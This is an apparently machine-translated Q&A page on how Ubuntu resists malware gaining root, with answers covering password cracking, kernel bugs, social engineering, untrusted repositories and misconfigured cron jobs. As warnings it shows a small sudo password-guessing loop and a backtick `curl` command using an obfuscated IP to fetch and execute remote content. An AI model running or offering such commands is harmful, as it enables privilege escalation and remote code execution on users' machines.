Как система защищена?

Я понимаю, что если какая-либо вредоносная программа проникнет в систему Linux, она, в лучшем случае, получит привилегию уровня пользователя и разрушит все, что находится в пределах досягаемости конкретного пользователя, то есть собственные файлы пользователя.

Но что именно мешает вредоносным программам получить доступ на корневом уровне? Не может ли он как-то взломать пароль изнутри?

24
задан 25 February 2011 в 21:38

2 ответа

Это сложный вопрос. В системе Ubuntu существует множество различных уровней безопасности, от сложных сред, таких как AppArmor, до простых переменных ядра, таких как mmap_min_addr. Вы можете добавить некоторые функции ядра, такие как рандомизация памяти в миксе. Вы можете найти их список и краткие пояснения в Ubuntu Wiki .

Еще одним важным фактором является то, что обновления бывают быстрыми и легкими - поэтому большинство компьютеров будут обновлены до последних исправлений безопасности.

Насколько я знаю, у злоумышленника, получившего локальный доступ к вашему компьютеру, есть три способа масштабирования привилегий ядра:

  1. Взломать пароль. Но это будет действительно сложно, пароль хранится в зашифрованном виде с использованием алгоритмов без известных недостатков. Потребуются века, чтобы взломать его.

  2. Ошибка в ядре. Но все функции безопасности ядра будут мешать.

  3. Обманывают пользователя, чтобы выдать пароль, то есть социальная инженерия. Просто покажите диалог с фальшивым паролем или воспользуйтесь другим приемом. Это самый простой способ сделать это.

Третий момент - самая слабая уязвимость на данный момент.

0
ответ дан 25 February 2011 в 21:38

Взламывание самого пароля root не возможно, потому что Ubuntu отключила пользователя root по умолчанию. Однако, если Ваш пользователь может стать корнем через sudo, и Ваш пароль легок к предположению/грубой силе, у Вас есть небезопасная система. Сценарий в качестве примера, пытающийся протестировать некоторый пароль:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Добавление недоверяемого репозитория позволяет программы из того репозитория быть установленным. Даже если Вы явно не устанавливаете приложение как sudo apt-get install [app-from-repo], репозиторий может все еще влиять на другие программы, заставляя Ubuntu полагать, что репозиторий содержит более новую версию определенной программы.

Процесс обновления выполняется как корень, иначе файлы не могли быть записаны в /usr/bin или /etc. Триггер установки выполняется как корень также и может работать произвольно, и возможно, вредные команды. Теперь, не становитесь взволнованными, ручное действие необходимо для обновления программ, и репозитории Ubuntu безопасны. Программному обеспечению с закрытым исходным кодом как Windows никогда нельзя полностью доверять, потому что Вы не можете проверить источник на вредоносный код, но можно рассмотреть источник приложения Ubuntu, если Вам нужно к (не относится к собственным программам как sun-java6 или Flash).

Как упомянуто Javier Rivera, ошибки ядра могут привести к выполнению произвольного кода, но прослушиваемое программное обеспечение возможно опасно также, особенно багги setsuid корневые двоичные файлы (двоичные файлы, которые будут работать при владельце файла, корне), и другие ошибочные программы, работающие как корень.

Можно создать дыры в системе безопасности в системе, если Вы не обращаете внимание на то, что Вы делаете. Например, полностью не понимая понятия cronjobs, Вы добавили cronjob к /etc/cron.daily который запускает программу в Вашей домашней папке (например. /bin/sh /home/your-username/myscript.sh. Если myscript.sh файл перезаписываем Вами, может быть удален Вами, использование могло вставить вредоносный код myscript.sh который был бы выполнен как корень (расширение полномочий).

Для пребывания в безопасности используйте ум! Не выполняйте команды из недоверяемых источников, если Вы не знаете то, что это делает. Если кто-то говорит выполненный `curl 3221233674` с обратными галочками не делать. 3221233674 другой способ записать 192.0.32.10 (IP example.com). Так, это было бы равно:

`curl http://example.com/`

Те обратные галочки вызывают вывод быть выполненными как команды оболочки. Без обиняков, "Загрузите страница http://example.com/ и попытайтесь выполнить загруженную страницу".

Сначала, Вы не видели бы что-то злонамеренное в данной команде. Но теперь, Вы знаете, что этим можно злоупотребить также.

Всегда проверяйте команды/сценарий, которые Вы получаете от недоверяемых источников, как Интернет.

15
ответ дан 25 February 2011 в 21:38

Другие вопросы по тегам:

Похожие вопросы: